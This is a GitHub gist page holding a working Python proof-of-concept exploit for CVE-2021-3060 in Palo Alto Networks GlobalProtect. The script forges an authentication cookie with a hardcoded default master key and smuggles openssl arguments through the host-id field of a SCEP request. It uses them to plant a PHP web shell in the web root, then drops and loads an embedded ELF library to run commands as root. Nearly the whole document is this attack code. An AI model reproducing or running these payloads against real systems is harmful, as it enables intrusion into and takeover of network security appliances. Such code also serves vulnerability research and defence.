Skip to content

Instantly share code, notes, and snippets.

@rqu1
Last active November 13, 2023 22:03
Show Gist options
  • Star 19 You must be signed in to star a gist
  • Fork 8 You must be signed in to fork a gist
  • Save rqu1/8ed4f51fd90dd82fc89111340e26a756 to your computer and use it in GitHub Desktop.
Save rqu1/8ed4f51fd90dd82fc89111340e26a756 to your computer and use it in GitHub Desktop.
cve-2021-3060 POC
from hashlib import md5, sha1
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from base64 import b64encode, b64decode
import sys, time
import requests
DEFAULT_MASTERKEY=b'p1a2l3o4a5l6t7o8'
lib="f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAAgAAAAYAAAAYAAAAAAAAAFgAAAAAAAAAcnF1ICgtOAACADH2Vki7L3RtcC9oYXhTVF/37rA7DwUBAAAABwAAAAUAAAAAAAAABQAAAAAAAAAMAAAAAAAAADoAAAAAAAAABgAAAAAAAAAAAAAAAAAAAA=="
cmd="""#!/bin/bash
id>/var/appweb/sslvpndocs/test
""".encode('base64').replace('\n','')
class PanCrypt():
def __init__(self, key=DEFAULT_MASTERKEY):
backend=default_backend()
key=self._derivekey(key)
self.c=Cipher(algorithms.AES(key), modes.CBC(b'\0'*16), backend=backend)
def _derivekey(self,key):
salt=b'\x75\xb8\x49\x83\x90\xbc\x2a\x65\x9c\x56\x93\xe7\xe5\xc5\xf0\x24' # md5("pannetwork")
return md5(key+salt).digest()*2
def _pad(self, d):
plen=16-(len(d)%16)
return d+(chr(plen)*plen).encode()
def _encrypt(self,data):
e=self.c.encryptor()
return e.update(self._pad(data)) + e.finalize()
def encrypt(self, data):
v=b'AQ==' # version 1
hash=b64encode(sha1(data).digest())
ct=b64encode(self._encrypt(data))
return '-'+v+hash+ct
def scepRequest(host, spn, hostid, email="a@a.a", user="test"):
expiry=bytes(int(time.time())+1000000)
token_pt=b":".join((expiry, user, hostid))
token=PanCrypt().encrypt(token_pt)
payload="scep-profile-name={}&user-email={}&user={}&host-id={}&appauthcookie={}".format(spn, email, user, hostid, token)
r=requests.get(host, data=payload, headers={"content-type":"application/x-www-form-urlencoded"},verify=False)
return r
def makewebshell(host, spn):
# webshell created: execute commands as `nobody` with GET /a.php?0=cmd
hostid='test" "-e" "yes" "-h" "<?php passthru\\(\\$_GET[0]\\);?>" "-c" "RSA:512 -text -out /var/appweb/sslvpndocs/a.php'
return scepRequest(host+"/sslmgr", spn, hostid)
def runcmd(host, cmd):
# run a command with the low-priv webshell
cmd=requests.utils.quote(cmd)
return requests.get(host+"/a.php?0="+cmd,verify=False)
def runlib(host, spn):
# load /tmp/lib.so as an openssl engine, with openssl running as root
hostid="test\" \"-e\" \"yes\" \"-m\" \"sha1 -engine /tmp/lib.so"
return scepRequest(host+"/sslmgr", spn, hostid)
if __name__=="__main__":
if len(sys.argv)<3:
print("usage: cve-2021-3060.py <host> <scep profile name>")
host=sys.argv[1]
spn=sys.argv[2]
if len(sys.argv)>2:
spn=sys.argv[2]
if "http" not in host: host="https://"+host
makewebshell(host, spn)
print(runcmd(host,"id").text)
runcmd(host,"echo {}|base64 -d>/tmp/lib.so".format(lib))
runcmd(host,"echo {}|base64 -d>/tmp/hax".format(cmd))
runcmd(host,"chmod 777 /tmp/hax")
runlib(host, spn)
print(requests.get(host+"/test",verify=False).text)
@rqu1
Copy link
Author

rqu1 commented Aug 3, 2022

for more information, see the palo alto networks security advisory and the sloppy writeup in da slop pit

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment